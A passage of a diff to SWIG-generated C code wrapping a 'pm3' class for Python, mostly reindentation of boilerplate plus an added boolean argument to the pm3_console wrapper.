PyObject* + SWIG_From_int (int value) +{ + return PyInt_FromLong((long) value); } SWIGINTERNINLINE PyObject * -SWIG_From_int(int value) { - return PyInt_FromLong((long) value); -} - - -SWIGINTERNINLINE PyObject * -SWIG_FromCharPtrAndSize(const char *carray, size_t size) { - if (carray) { - if (size > INT_MAX) { - swig_type_info *pchar_descriptor = SWIG_pchar_descriptor(); - return pchar_descriptor ? - SWIG_InternalNewPointerObj((char *)(carray), pchar_descriptor, 0) : SWIG_Py_Void(); - } else { +SWIG_FromCharPtrAndSize(const char* carray, size_t size) +{ + if (carray) { + if (size > INT_MAX) { + swig_type_info* pchar_descriptor = SWIG_pchar_descriptor(); + return pchar_descriptor ? + SWIG_InternalNewPointerObj((char *)(carray), pchar_descriptor, 0) : SWIG_Py_Void(); + } else { #if PY_VERSION_HEX >= 0x03000000 #if defined(SWIG_PYTHON_STRICT_BYTE_CHAR) - return PyBytes_FromStringAndSize(carray, (Py_ssize_t)(size)); + return PyBytes_FromStringAndSize(carray, (Py_ssize_t)(size)); #else - return PyUnicode_DecodeUTF8(carray, (Py_ssize_t)(size), "surrogateescape"); + return PyUnicode_DecodeUTF8(carray, (Py_ssize_t)(size), "surrogateescape"); #endif #else - return PyString_FromStringAndSize(carray, (Py_ssize_t)(size)); + return PyString_FromStringAndSize(carray, (Py_ssize_t)(size)); #endif - } - } else { - return SWIG_Py_Void(); } + } else { + return SWIG_Py_Void(); + } } -SWIGINTERNINLINE PyObject * -SWIG_FromCharPtr(const char *cptr) { - return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0)); +SWIGINTERNINLINE PyObject * +SWIG_FromCharPtr(const char *cptr) +{ + return SWIG_FromCharPtrAndSize(cptr, (cptr ? strlen(cptr) : 0)); } #ifdef __cplusplus extern "C" { #endif SWIGINTERN PyObject *_wrap_new_pm3__SWIG_0(PyObject *self, Py_ssize_t nobjs, PyObject **SWIGUNUSEDPARM(swig_obj)) { - PyObject *resultobj = 0; - pm3 *result = 0 ; - - (void)self; - if ((nobjs < 0) || (nobjs > 0)) SWIG_fail; - result = (pm3 *)new_pm3__SWIG_0(); - resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0); - return resultobj; + PyObject *resultobj = 0; + pm3 *result = 0 ; + + (void)self; + if ((nobjs < 0) || (nobjs > 0)) SWIG_fail; + result = (pm3 *)new_pm3__SWIG_0(); + resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0 ); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *_wrap_new_pm3__SWIG_1(PyObject *self, Py_ssize_t nobjs, PyObject **swig_obj) { - PyObject *resultobj = 0; - char *arg1 = (char *) 0 ; - int res1 ; - char *buf1 = 0 ; - int alloc1 = 0 ; - pm3 *result = 0 ; - - (void)self; - if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; - res1 = SWIG_AsCharPtrAndSize(swig_obj[0], &buf1, NULL, &alloc1); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_pm3" "', argument " "1"" of type '" "char *""'"); - } - arg1 = (char *)(buf1); - result = (pm3 *)new_pm3__SWIG_1(arg1); - resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0); - if (alloc1 == SWIG_NEWOBJ) free((char *)buf1); - return resultobj; + PyObject *resultobj = 0; + char *arg1 = (char *) 0 ; + int res1 ; + char *buf1 = 0 ; + int alloc1 = 0 ; + pm3 *result = 0 ; + + (void)self; + if ((nobjs < 1) || (nobjs > 1)) SWIG_fail; + res1 = SWIG_AsCharPtrAndSize(swig_obj[0], &buf1, NULL, &alloc1); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "new_pm3" "', argument " "1"" of type '" "char *""'"); + } + arg1 = (char *)(buf1); + result = (pm3 *)new_pm3__SWIG_1(arg1); + resultobj = SWIG_NewPointerObj(SWIG_as_voidptr(result), SWIGTYPE_p_pm3, SWIG_POINTER_NEW | 0 ); + if (alloc1 == SWIG_NEWOBJ) free((char*)buf1); + return resultobj; fail: - if (alloc1 == SWIG_NEWOBJ) free((char *)buf1); - return NULL; + if (alloc1 == SWIG_NEWOBJ) free((char*)buf1); + return NULL; } SWIGINTERN PyObject *_wrap_new_pm3(PyObject *self, PyObject *args) { - Py_ssize_t argc; - PyObject *argv[2] = { - 0 - }; - - if (!(argc = SWIG_Python_UnpackTuple(args, "new_pm3", 0, 1, argv))) SWIG_fail; - --argc; - if (argc == 0) { - return _wrap_new_pm3__SWIG_0(self, argc, argv); + Py_ssize_t argc; + PyObject *argv[2] = { + 0 + }; + + if (!(argc = SWIG_Python_UnpackTuple(args, "new_pm3", 0, 1, argv))) SWIG_fail; + --argc; + if (argc == 0) { + return _wrap_new_pm3__SWIG_0(self, argc, argv); + } + if (argc == 1) { + int _v = 0; + int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0); + _v = SWIG_CheckState(res); + if (_v) { + return _wrap_new_pm3__SWIG_1(self, argc, argv); } - if (argc == 1) { - int _v = 0; - int res = SWIG_AsCharPtrAndSize(argv[0], 0, NULL, 0); - _v = SWIG_CheckState(res); - if (_v) { - return _wrap_new_pm3__SWIG_1(self, argc, argv); - } - } - + } + fail: - SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'new_pm3'.\n" - " Possible C/C++ prototypes are:\n" - " pm3::pm3()\n" - " pm3::pm3(char *)\n"); - return 0; + SWIG_Python_RaiseOrModifyTypeError("Wrong number or type of arguments for overloaded function 'new_pm3'.\n" + " Possible C/C++ prototypes are:\n" + " pm3::pm3()\n" + " pm3::pm3(char *)\n"); + return 0; } SWIGINTERN PyObject *_wrap_delete_pm3(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - void *argp1 = 0 ; - int res1 = 0 ; - PyObject *swig_obj[1] ; - - (void)self; - if (!args) SWIG_fail; - swig_obj[0] = args; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, SWIG_POINTER_DISOWN | 0); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_pm3" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - delete_pm3(arg1); - resultobj = SWIG_Py_Void(); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + void *argp1 = 0 ; + int res1 = 0 ; + PyObject *swig_obj[1] ; + + (void)self; + if (!args) SWIG_fail; + swig_obj[0] = args; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, SWIG_POINTER_DISOWN | 0 ); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "delete_pm3" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + delete_pm3(arg1); + resultobj = SWIG_Py_Void(); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *_wrap_pm3_console(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - char *arg2 = (char *) 0 ; - bool arg3 = (bool) false ; - void *argp1 = 0 ; - int res1 = 0 ; - int res2 ; - char *buf2 = 0 ; - int alloc2 = 0 ; - bool val3 ; - int ecode3 = 0 ; - PyObject *swig_obj[3] ; - int result; - - (void)self; - if (!SWIG_Python_UnpackTuple(args, "pm3_console", 2, 3, swig_obj)) SWIG_fail; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_console" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - res2 = SWIG_AsCharPtrAndSize(swig_obj[1], &buf2, NULL, &alloc2); - if (!SWIG_IsOK(res2)) { - SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "pm3_console" "', argument " "2"" of type '" "char *""'"); - } - arg2 = (char *)(buf2); - if (swig_obj[2]) { - ecode3 = SWIG_AsVal_bool(swig_obj[2], &val3); - if (!SWIG_IsOK(ecode3)) { - SWIG_exception_fail(SWIG_ArgError(ecode3), "in method '" "pm3_console" "', argument " "3"" of type '" "bool""'"); - } - arg3 = (bool)(val3); - } - result = (int)pm3_console(arg1, arg2, arg3); - resultobj = SWIG_From_int((int)(result)); - if (alloc2 == SWIG_NEWOBJ) free((char *)buf2); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + char *arg2 = (char *) 0 ; + bool arg3 = (bool) true ; + bool arg4 = (bool) true ; + void *argp1 = 0 ; + int res1 = 0 ; + int res2 ; + char *buf2 = 0 ; + int alloc2 = 0 ; + bool val3 ; + int ecode3 = 0 ; + bool val4 ; + int ecode4 = 0 ; + PyObject *swig_obj[4] ; + int result; + + (void)self; + if (!SWIG_Python_UnpackTuple(args, "pm3_console", 2, 4, swig_obj)) SWIG_fail; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, 0 | 0 ); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_console" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + res2 = SWIG_AsCharPtrAndSize(swig_obj[1], &buf2, NULL, &alloc2); + if (!SWIG_IsOK(res2)) { + SWIG_exception_fail(SWIG_ArgError(res2), "in method '" "pm3_console" "', argument " "2"" of type '" "char *""'"); + } + arg2 = (char *)(buf2); + if (swig_obj[2]) { + ecode3 = SWIG_AsVal_bool(swig_obj[2], &val3); + if (!SWIG_IsOK(ecode3)) { + SWIG_exception_fail(SWIG_ArgError(ecode3), "in method '" "pm3_console" "', argument " "3"" of type '" "bool""'"); + } + arg3 = (bool)(val3); + } + if (swig_obj[3]) { + ecode4 = SWIG_AsVal_bool(swig_obj[3], &val4); + if (!SWIG_IsOK(ecode4)) { + SWIG_exception_fail(SWIG_ArgError(ecode4), "in method '" "pm3_console" "', argument " "4"" of type '" "bool""'"); + } + arg4 = (bool)(val4); + } + result = (int)pm3_console(arg1,arg2,arg3,arg4); + resultobj = SWIG_From_int((int)(result)); + if (alloc2 == SWIG_NEWOBJ) free((char*)buf2); + return resultobj; fail: - if (alloc2 == SWIG_NEWOBJ) free((char *)buf2); - return NULL; + if (alloc2 == SWIG_NEWOBJ) free((char*)buf2); + return NULL; } SWIGINTERN PyObject *_wrap_pm3_name_get(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - void *argp1 = 0 ; - int res1 = 0 ; - PyObject *swig_obj[1] ; - char *result = 0 ; - - (void)self; - if (!args) SWIG_fail; - swig_obj[0] = args; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_name_get" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - result = (char *)pm3_name_get(arg1); - resultobj = SWIG_FromCharPtr((const char *)result); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + void *argp1 = 0 ; + int res1 = 0 ; + PyObject *swig_obj[1] ; + char *result = 0 ; + + (void)self; + if (!args) SWIG_fail; + swig_obj[0] = args; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, 0 | 0 ); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_name_get" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + result = (char *)pm3_name_get(arg1); + resultobj = SWIG_FromCharPtr((const char *)result); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *_wrap_pm3_grabbed_output_get(PyObject *self, PyObject *args) { - PyObject *resultobj = 0; - pm3 *arg1 = (pm3 *) 0 ; - void *argp1 = 0 ; - int res1 = 0 ; - PyObject *swig_obj[1] ; - char *result = 0 ; - - (void)self; - if (!args) SWIG_fail; - swig_obj[0] = args; - res1 = SWIG_ConvertPtr(swig_obj[0], &argp1, SWIGTYPE_p_pm3, 0 | 0); - if (!SWIG_IsOK(res1)) { - SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_grabbed_output_get" "', argument " "1"" of type '" "pm3 *""'"); - } - arg1 = (pm3 *)(argp1); - result = (char *)pm3_grabbed_output_get(arg1); - resultobj = SWIG_FromCharPtr((const char *)result); - return resultobj; + PyObject *resultobj = 0; + pm3 *arg1 = (pm3 *) 0 ; + void *argp1 = 0 ; + int res1 = 0 ; + PyObject *swig_obj[1] ; + char *result = 0 ; + + (void)self; + if (!args) SWIG_fail; + swig_obj[0] = args; + res1 = SWIG_ConvertPtr(swig_obj[0], &argp1,SWIGTYPE_p_pm3, 0 | 0 ); + if (!SWIG_IsOK(res1)) { + SWIG_exception_fail(SWIG_ArgError(res1), "in method '" "pm3_grabbed_output_get" "', argument " "1"" of type '" "pm3 *""'"); + } + arg1 = (pm3 *)(argp1); + result = (char *)pm3_grabbed_output_get(arg1); + resultobj = SWIG_FromCharPtr((const char *)result); + return resultobj; fail: - return NULL; + return NULL; } SWIGINTERN PyObject *pm3_swigregister(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { - PyObject *obj; - if (!SWIG_Python_UnpackTuple(args, "swigregister", 1, 1, &obj)) return NULL; - SWIG_TypeNewClientData(SWIGTYPE_p_pm3, SWIG_NewClientData(obj)); - return SWIG_Py_Void(); + PyObject *obj; + if (!SWIG_Python_UnpackTuple(args, "swigregister", 1, 1, &obj)) return NULL; + SWIG_TypeNewClientData(SWIGTYPE_p_pm3, SWIG_NewClientData(obj)); + return SWIG_Py_Void(); } SWIGINTERN PyObject *pm3_swiginit(PyObject *SWIGUNUSEDPARM(self), PyObject *args) { - return SWIG_Python_InitShadowInstance(args); + return SWIG_Python_InitShadowInstance(args); } static PyMethodDef SwigMethods[] = { - { "new_pm3", _wrap_new_pm3, METH_VARARGS, NULL}, - { "delete_pm3", _wrap_delete_pm3, METH_O, NULL}, - { "pm3_console", _wrap_pm3_console, METH_VARARGS, NULL}, - { "pm3_name_get", _wrap_pm3_name_get, METH_O, NULL}, - { "pm3_grabbed_output_get", _wrap_pm3_grabbed_output_get, METH_O, NULL}, - { "pm3_swigregister", pm3_swigregister, METH_O, NULL}, - { "pm3_swiginit", pm3_swiginit, METH_VARARGS, NULL}, - { NULL, NULL, 0, NULL } + { "new_pm3", _wrap_new_pm3, METH_VARARGS, NULL}, + { "delete_pm3", _wrap_delete_pm3, METH_O, NULL}, + { "pm3_console", _wrap_pm3_console, METH_VARARGS, NULL}, + { "pm3_name_get", _wrap_pm3_name_get, METH_O, NULL}, + { "pm3_grabbed_output_get", _wrap_pm3_grabbed_output_get, METH_O, NULL}, + { "pm3_swigregister", pm3_swigregister, METH_O, NULL}, + { "pm3_swiginit", pm3_swiginit, METH_VARARGS, NULL}, + { NULL, NULL, 0, NULL } }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (BEGIN) -------- */ -static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void *)0, 0}; -static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void *)0, 0}; +static swig_type_info _swigt__p_char = {"_p_char", "char *", 0, 0, (void*)0, 0}; +static swig_type_info _swigt__p_pm3 = {"_p_pm3", "pm3 *", 0, 0, (void*)0, 0}; static swig_type_info *swig_type_initial[] = { - &_swigt__p_char, - &_swigt__p_pm3, + &_swigt__p_char, + &_swigt__p_pm3, }; -static swig_cast_info _swigc__p_char[] = { {&_swigt__p_char, 0, 0, 0}, {0, 0, 0, 0}}; -static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0}, {0, 0, 0, 0}}; +static swig_cast_info _swigc__p_char[] = { {&_swigt__p_char, 0, 0, 0},{0, 0, 0, 0}}; +static swig_cast_info _swigc__p_pm3[] = { {&_swigt__p_pm3, 0, 0, 0},{0, 0, 0, 0}}; static swig_cast_info *swig_cast_initial[] = { - _swigc__p_char, - _swigc__p_pm3, + _swigc__p_char, + _swigc__p_pm3, }; /* -------- TYPE CONVERSION AND EQUIVALENCE RULES (END) -------- */ static swig_const_info swig_const_table[] = { - {0, 0, 0, 0.0, 0, 0} -}; +{0, 0, 0, 0.0, 0, 0}}; #ifdef __cplusplus } @@ -3743,143 +3801,143 @@ extern "C" { SWIGRUNTIME void SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { - size_t i; - swig_module_info *module_head, *iter; - int init; - - /* check to see if the circular list has been setup, if not, set it up */ - if (swig_module.next == 0) { - /* Initialize the swig_module */ - swig_module.type_initial = swig_type_initial; - swig_module.cast_initial = swig_cast_initial; - swig_module.next = &swig_module; - init = 1; - } else { - init = 0; + size_t i; + swig_module_info *module_head, *iter; + int init; + + /* check to see if the circular list has been setup, if not, set it up */ + if (swig_module.next==0) { + /* Initialize the swig_module */ + swig_module.type_initial = swig_type_initial; + swig_module.cast_initial = swig_cast_initial; + swig_module.next = &swig_module; + init = 1; + } else { + init = 0; + } + + /* Try and load any already created modules */ + module_head = SWIG_GetModule(clientdata); + if (!module_head) { + /* This is the first module loaded for this interpreter */ + /* so set the swig module into the interpreter */ + SWIG_SetModule(clientdata, &swig_module); + } else { + /* the interpreter has loaded a SWIG module, but has it loaded this one? */ + iter=module_head; + do { + if (iter==&swig_module) { + /* Our module is already in the list, so there's nothing more to do. */ + return; + } + iter=iter->next; + } while (iter!= module_head); + + /* otherwise we must add our module into the list */ + swig_module.next = module_head->next; + module_head->next = &swig_module; + } + + /* When multiple interpreters are used, a module could have already been initialized in + a different interpreter, but not yet have a pointer in this interpreter. + In this case, we do not want to continue adding types... everything should be + set up already */ + if (init == 0) return; + + /* Now work on filling in swig_module.types */ +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); +#endif + for (i = 0; i < swig_module.size; ++i) { + swig_type_info *type = 0; + swig_type_info *ret; + swig_cast_info *cast; + +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); +#endif + + /* if there is another module already loaded */ + if (swig_module.next != &swig_module) { + type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); } - - /* Try and load any already created modules */ - module_head = SWIG_GetModule(clientdata); - if (!module_head) { - /* This is the first module loaded for this interpreter */ - /* so set the swig module into the interpreter */ - SWIG_SetModule(clientdata, &swig_module); + if (type) { + /* Overwrite clientdata field */ +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found type %s\n", type->name); +#endif + if (swig_module.type_initial[i]->clientdata) { + type->clientdata = swig_module.type_initial[i]->clientdata; +#ifdef SWIGRUNTIME_DEBUG + printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); +#endif + } } else { - /* the interpreter has loaded a SWIG module, but has it loaded this one? */ - iter = module_head; - do { - if (iter == &swig_module) { - /* Our module is already in the list, so there's nothing more to do. */ - return; - } - iter = iter->next; - } while (iter != module_head); - - /* otherwise we must add our module into the list */ - swig_module.next = module_head->next; - module_head->next = &swig_module; + type = swig_module.type_initial[i]; } - - /* When multiple interpreters are used, a module could have already been initialized in - a different interpreter, but not yet have a pointer in this interpreter. - In this case, we do not want to continue adding types... everything should be - set up already */ - if (init == 0) return; - - /* Now work on filling in swig_module.types */ + + /* Insert casting types */ + cast = swig_module.cast_initial[i]; + while (cast->type) { + /* Don't need to add information already in the list */ + ret = 0; #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: size %lu\n", (unsigned long)swig_module.size); + printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); #endif - for (i = 0; i < swig_module.size; ++i) { - swig_type_info *type = 0; - swig_type_info *ret; - swig_cast_info *cast; - + if (swig_module.next != &swig_module) { + ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); + if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); #endif - - /* if there is another module already loaded */ - if (swig_module.next != &swig_module) { - type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name); - } - if (type) { - /* Overwrite clientdata field */ + } + if (ret) { + if (type == swig_module.type_initial[i]) { #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found type %s\n", type->name); + printf("SWIG_InitializeModule: skip old type %s\n", ret->name); #endif - if (swig_module.type_initial[i]->clientdata) { - type->clientdata = swig_module.type_initial[i]->clientdata; -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name); -#endif - } + cast->type = ret; + ret = 0; } else { - type = swig_module.type_initial[i]; + /* Check for casting already in the list */ + swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); +#ifdef SWIGRUNTIME_DEBUG + if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); +#endif + if (!ocast) ret = 0; } - - /* Insert casting types */ - cast = swig_module.cast_initial[i]; - while (cast->type) { - /* Don't need to add information already in the list */ - ret = 0; + } + + if (!ret) { #ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: look cast %s\n", cast->type->name); + printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); #endif - if (swig_module.next != &swig_module) { - ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name); -#ifdef SWIGRUNTIME_DEBUG - if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name); -#endif - } - if (ret) { - if (type == swig_module.type_initial[i]) { -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: skip old type %s\n", ret->name); -#endif - cast->type = ret; - ret = 0; - } else { - /* Check for casting already in the list */ - swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type); -#ifdef SWIGRUNTIME_DEBUG - if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name); -#endif - if (!ocast) ret = 0; - } - } - - if (!ret) { -#ifdef SWIGRUNTIME_DEBUG - printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name); -#endif - if (type->cast) { - type->cast->prev = cast; - cast->next = type->cast; - } - type->cast = cast; - } - cast++; + if (type->cast) { + type->cast->prev = cast; + cast->next = type->cast; } - /* Set entry in modules->types array equal to the type */ - swig_module.types[i] = type; + type->cast = cast; + } + cast++; } - swig_module.types[i] = 0; - + /* Set entry in modules->types array equal to the type */ + swig_module.types[i] = type; + } + swig_module.types[i] = 0; + #ifdef SWIGRUNTIME_DEBUG - printf("**** SWIG_InitializeModule: Cast List ******\n"); - for (i = 0; i < swig_module.size; ++i) { - int j = 0; - swig_cast_info *cast = swig_module.cast_initial[i]; - printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); - while (cast->type) { - printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); - cast++; - ++j; - } - printf("---- Total casts: %d\n", j); + printf("**** SWIG_InitializeModule: Cast List ******\n"); + for (i = 0; i < swig_module.size; ++i) { + int j = 0; + swig_cast_info *cast = swig_module.cast_initial[i]; + printf("SWIG_InitializeModule: type %lu %s\n", (unsigned long)i, swig_module.type_initial[i]->name); + while (cast->type) { + printf("SWIG_InitializeModule: cast type %s\n", cast->type->name); + cast++; + ++j; } - printf("**** SWIG_InitializeModule: Cast List ******\n"); + printf("---- Total casts: %d\n",j); + } + printf("**** SWIG_InitializeModule: Cast List ******\n"); #endif } @@ -3890,31 +3948,31 @@ SWIG_InitializeModule(SWIG_INIT_CLIENT_DATA_TYPE clientdata) { */ SWIGRUNTIME void SWIG_PropagateClientData(void) { - size_t i; - swig_cast_info *equiv; - static int init_run = 0; - - if (init_run) return; - init_run = 1; - - for (i = 0; i < swig_module.size; i++) { - if (swig_module.types[i]->clientdata) { - equiv = swig_module.types[i]->cast; - while (equiv) { - if (!equiv->converter) { - if (equiv->type && !equiv->type->clientdata) - SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); - } - equiv = equiv->next; - } + size_t i; + swig_cast_info *equiv; + static int init_run = 0; + + if (init_run) return; + init_run = 1; + + for (i = 0; i < swig_module.size; i++) { + if (swig_module.types[i]->clientdata) { + equiv = swig_module.types[i]->cast; + while (equiv) { + if (!equiv->converter) { + if (equiv->type && !equiv->type->clientdata) + SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata); } + equiv = equiv->next; + } } + } } #ifdef __cplusplus #if 0 { - /* c-mode */ + /* c-mode */ #endif } #endif @@ -3924,80 +3982,80 @@ SWIG_PropagateClientData(void) { #ifdef __cplusplus extern "C" { #endif - -/* ----------------------------------------------------------------------------- - * constants/methods manipulation - * ----------------------------------------------------------------------------- */ - -/* Install Constants */ -SWIGINTERN void -SWIG_Python_InstallConstants(PyObject *d, swig_const_info constants[]) { + + /* ----------------------------------------------------------------------------- + * constants/methods manipulation + * ----------------------------------------------------------------------------- */ + + /* Install Constants */ + SWIGINTERN void + SWIG_Python_InstallConstants(PyObject *d, swig_const_info constants[]) { PyObject *obj = 0; size_t i; for (i = 0; constants[i].type; ++i) { - switch (constants[i].type) { - case SWIG_PY_POINTER: - obj = SWIG_InternalNewPointerObj(constants[i].pvalue, *(constants[i]).ptype, 0); - break; - case SWIG_PY_BINARY: - obj = SWIG_NewPackedObj(constants[i].pvalue, constants[i].lvalue, *(constants[i].ptype)); - break; - default: - obj = 0; - break; - } - if (obj) { - PyDict_SetItemString(d, constants[i].name, obj); - Py_DECREF(obj); - } + switch(constants[i].type) { + case SWIG_PY_POINTER: + obj = SWIG_InternalNewPointerObj(constants[i].pvalue, *(constants[i]).ptype,0); + break; + case SWIG_PY_BINARY: + obj = SWIG_NewPackedObj(constants[i].pvalue, constants[i].lvalue, *(constants[i].ptype)); + break; + default: + obj = 0; + break; + } + if (obj) { + PyDict_SetItemString(d, constants[i].name, obj); + Py_DECREF(obj); + } } -} - -/* ----------------------------------------------------------------------------- - * Patch %callback methods' docstrings to hold the callback ptrs - * -----------------------------------------------------------------------------*/ - -SWIGINTERN void -SWIG_Python_FixMethods(PyMethodDef *methods, const swig_const_info *const_table, swig_type_info **types, swig_type_info **types_initial) { + } + + /* ----------------------------------------------------------------------------- + * Patch %callback methods' docstrings to hold the callback ptrs + * -----------------------------------------------------------------------------*/ + + SWIGINTERN void + SWIG_Python_FixMethods(PyMethodDef *methods, const swig_const_info *const_table, swig_type_info **types, swig_type_info **types_initial) { size_t i; for (i = 0; methods[i].ml_name; ++i) { - const char *c = methods[i].ml_doc; - if (!c) continue; - c = strstr(c, "swig_ptr: "); - if (c) { - int j; - const swig_const_info *ci = 0; - const char *name = c + 10; - for (j = 0; const_table[j].type; ++j) { - if (strncmp(const_table[j].name, name, - strlen(const_table[j].name)) == 0) { - ci = &(const_table[j]); - break; - } - } - if (ci) { - void *ptr = (ci->type == SWIG_PY_POINTER) ? ci->pvalue : 0; - if (ptr) { - size_t shift = (ci->ptype) - types; - swig_type_info *ty = types_initial[shift]; - size_t ldoc = (c - methods[i].ml_doc); - size_t lptr = strlen(ty->name) + 2 * sizeof(void *) +2; - char *ndoc = (char *)malloc(ldoc + lptr + 10); - if (ndoc) { - char *buff = ndoc; - memcpy(buff, methods[i].ml_doc, ldoc); - buff += ldoc; - memcpy(buff, "swig_ptr: ", 10); - buff += 10; - SWIG_PackVoidPtr(buff, ptr, ty->name, lptr); - methods[i].ml_doc = ndoc; - } - } - } + const char *c = methods[i].ml_doc; + if (!c) continue; + c = strstr(c, "swig_ptr: "); + if (c) { + int j; + const swig_const_info *ci = 0; + const char *name = c + 10; + for (j = 0; const_table[j].type; ++j) { + if (strncmp(const_table[j].name, name, + strlen(const_table[j].name)) == 0) { + ci = &(const_table[j]); + break; + } } + if (ci) { + void *ptr = (ci->type == SWIG_PY_POINTER) ? ci->pvalue : 0; + if (ptr) { + size_t shift = (ci->ptype) - types; + swig_type_info *ty = types_initial[shift]; + size_t ldoc = (c - methods[i].ml_doc); + size_t lptr = strlen(ty->name)+2*sizeof(void*)+2; + char *ndoc = (char*)malloc(ldoc + lptr + 10); + if (ndoc) { + char *buff = ndoc; + memcpy(buff, methods[i].ml_doc, ldoc); + buff += ldoc; + memcpy(buff, "swig_ptr: ", 10); + buff += 10; + SWIG_PackVoidPtr(buff, ptr, ty->name, lptr); + methods[i].ml_doc = ndoc; + } + } + } + } } -} - + } + #ifdef __cplusplus } #endif @@ -4013,137 +4071,137 @@ SWIG_Python_FixMethods(PyMethodDef *methods, const swig_const_info *const_table, extern "C" #endif -SWIGEXPORT +SWIGEXPORT #if PY_VERSION_HEX >= 0x03000000 -PyObject * +PyObject* #else void #endif SWIG_init(void) { - PyObject *m, *d, *md, *globals; - + PyObject *m, *d, *md, *globals; + #if PY_VERSION_HEX >= 0x03000000 - static struct PyModuleDef SWIG_module = { - PyModuleDef_HEAD_INIT, - SWIG_name, - NULL, - -1, - SwigMethods, - NULL, - NULL, - NULL, - NULL - }; + static struct PyModuleDef SWIG_module = { + PyModuleDef_HEAD_INIT, + 